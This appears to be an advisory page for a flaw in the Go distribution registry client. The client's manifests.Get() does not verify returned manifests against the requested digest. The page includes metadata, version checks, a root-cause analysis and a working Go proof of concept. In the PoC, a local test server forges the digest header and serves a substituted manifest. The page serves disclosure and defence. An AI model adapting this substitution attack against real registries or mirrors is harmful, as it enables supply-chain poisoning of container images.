--- id: "CVE-2026-85747" page: "https://infrastack.ai/live/CVE-2026-85747" kind: "vulnerability" aliases: ["CVE-2026-85747", "GHSA-685w-q87j-wqw3", "GO-2026-6778"] title: "Distribution: Client `manifests.Get()` does not verify returned content against requested digest" severity: "medium" cvss: 6.8 epss: 0.00218 exploited: false status: "open" category: "package" products: [{"name": "github.com/distribution/distribution", "fixed": [], "affected": "all versions", "ecosystem": "go"}, {"name": "github.com/distribution/distribution/v3", "fixed": ["3.1.2"], "affected": "< 3.1.2", "ecosystem": "go"}, {"name": "github.com/docker/distribution", "fixed": [], "affected": "all versions", "ecosystem": "go"}, {"name": "github.com/docker/distribution", "fixed": [], "affected": "<= 2.8.3", "ecosystem": "go"}] ecosystems: ["go"] tags: ["cwe-354", "distribution", "docker-registry", "go", "package"] not_affected_if: ["no-go-dependency", "registry-server-only"] published_at: "2026-10-13T19:21:02+00:00" first_seen_at: "2026-11-06T00:09:06+00:00" updated_at: "2026-11-06T00:19:08+00:00" sources: [{"source": "govuln", "url": "https://pkg.go.dev/vuln/GO-2026-6778", "first_seen_at": "2026-11-06T00:09:06+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85747", "first_seen_at": "2026-11-06T00:19:01+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-685w-q87j-wqw3", "first_seen_at": "2026-11-06T00:19:08+00:00"}] exploit_sources: [{"type": "epss", "score": 0.00218, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-85747"}] --- # Distribution: Client `manifests.Get()` does not verify returned content against requested digest Link for people: https://infrastack.ai/live/CVE-2026-85747 (this .md is for agents) The Go client in the distribution library does not verify that content it receives matches the digest it asked for. An attacker who controls or can alter the registry response may be able to supply content that the client accepts as the requested artifact. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - go:github.com/distribution/distribution affected all versions fixed no fixed version listed - go:github.com/distribution/distribution/v3 affected < 3.1.2 fixed 3.1.2 - go:github.com/docker/distribution affected all versions fixed no fixed version listed - go:github.com/docker/distribution affected <= 2.8.3 fixed no fixed version listed ## How to check - Check the version of `github.com/distribution/distribution/v3` in `go.mod` or with `go list -m github.com/distribution/distribution/v3` - Check whether `github.com/distribution/distribution` or `github.com/docker/distribution` appears in `go.mod` or `go.sum` - Versions earlier than `3.1.2` of the v3 module are listed as affected ## Timeline - 2026-11-06T00:09:06+00:00 govuln https://pkg.go.dev/vuln/GO-2026-6778 - 2026-11-06T00:19:01+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-85747 - 2026-11-06T00:19:08+00:00 ghsa https://github.com/advisories/GHSA-685w-q87j-wqw3 ## Documents - [advisory] Vendor advisory: github.com https://github.com/distribution/distribution/security/advisories/GHSA-685w-q87j-wqw3 - [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/distribution/distribution/security-advisories/GHSA-685w-q87j-wqw3 - [fix] Patch: github.com https://github.com/distribution/distribution/commit/960439b09f342cdeb8f1c0e18e8c7349bdcfbf80 - [fix] Release notes: github.com https://github.com/distribution/distribution/releases/tag/v3.1.2 - [fix] Patch: github.com https://github.com/distribution/distribution/commit/8f91c26c8888a95a36c2357a6e30bc15d4dd76d3 ## From the sources ### Summary `registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/proxymanifeststore.go`) is itself an unguarded consumer and is directly exploitable. ### Details **Root cause:** `registry/client/repository.go:488-505` reads the response body and passes it directly to `distribution.UnmarshalManifest` without ever computing `digest.FromBytes(body)` and comparing against the caller-supplied `dgst`. The `Docker-Content-Digest` response header is parsed (lines 251-292 in `descriptorFromResponse`) only to populate an out-parameter (`ReturnContentDigest`) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes. **Attack path:** An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to `GET /v2/{name}/manifests/{digest}` with: 1. `Docker-Content-Digest: ` (forged header) 2. A body containing a different, attacker-chosen manifest The client calls `distribution.UnmarshalManifest` on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution. **Why it matters:** The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The `registry/proxy/proxymanifeststore.go:42-87` pull-through cache calls `remoteManifests.Get(ctx, dgst)` and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers. Relevant code path (`repository.go`, simplified): ```go // line ~496 func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) { ... resp, err := ms.client.Get(u) ... body, err := ioutil.ReadAll(resp.Body) // no size limit, no digest check ... m, _, err := distribution.UnmarshalManifest(ct, body) // returns attacker bytes return m, err } ``` ### PoC **go.mod:** ``` module poc go 1.24.10 require ( github.com/distribution/reference v0.6.0 github.com/docker/distribution v2.8.3+incompatible github.com/opencontainers/go-digest v1.0.0 ) require ( github.com/beorn7/perks v1.0.1 // indirect github.com/docker/go-metrics v0.0.1 // indirect github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect github.com/golang/protobuf v1.3.2 // indirect github.com/gorilla/mux v1.8.1 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/opencontainers/image-spec v1.1.1 // indirect github.com/prometheus/client_golang v1.1.0 // indirect github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect github.com/prometheus/common v0.6.0 // indirect github.com/prometheus/procfs v0.0.3 // indirect github.com/sirupsen/logrus v1.9.4 // indirect golang.org/x/sys v0.13.0 // indirect ) ``` **main.go:** ```go // PoC: registry/client manifests.Get() does not verify the requested digest // against the returned body. A malicious registry (or MITM) can serve // arbitrary content for a digest-pinned manifest reference and the client // will accept it. package main import ( "context" "fmt" "net/http" "net/http/httptest" "github.com/distribution/reference" "github.com/docker/distribution/manifest/schema2" "github.com/docker/distribution/registry/client" "github.com/opencontainers/go-digest" ) // A real, "trusted" manifest the user pinned by digest. var trustedManifest = []byte(`{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, "layers": [] }`) // A different, attacker-controlled manifest the malicious server returns instead. var evilManifest = []byte(`{ "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}, "layers": [] }`) func main() { pinnedDigest := digest.FromBytes(trustedManifest) evilDigest := digest.FromBytes(evilManifest) fmt.Println("client requests manifest pinned at:", pinnedDigest) fmt.Println("server will instead return content :", evilDigest) srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Lie: claim the digest matches what was asked, but serve evil bytes. w.Header().Set("Content-Type", schema2.MediaTypeManifest) w.Header().Set("Docker-Content-Digest", pinnedDigest.String()) w.WriteHeader(200) w.Write(evilManifest) })) defer srv.Close() name, _ := reference.WithName("library/alpine") repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport) if err != nil { panic(err) } ms, _ := repo.Manifests(context.Background()) // Fetch by *digest* — caller expects content-addressed integrity. m, err := ms.Get(context.Background(), pinnedDigest) if err != nil { fmt.Println("Get error:", err) return } _, payload, _ := m.Payload() got := digest.FromBytes(payload) if got != pinnedDigest { fmt.Println() fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest") fmt.Println(" requested:", pinnedDigest) fmt.Println(" received :", got) } else { fmt.Println("OK: digest verified") } } ``` **Output (v2.8.3+incompatible):** ``` client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e >>> BYPASS: client accepted manifest that does NOT match requested digest requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e ``` ### Impact Any application that calls `registry/client.(*manifests).Get()` with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled `registry/proxy`), and any CI/CD tooling that pins images by digest for reproducibility or security. An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream --- _Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_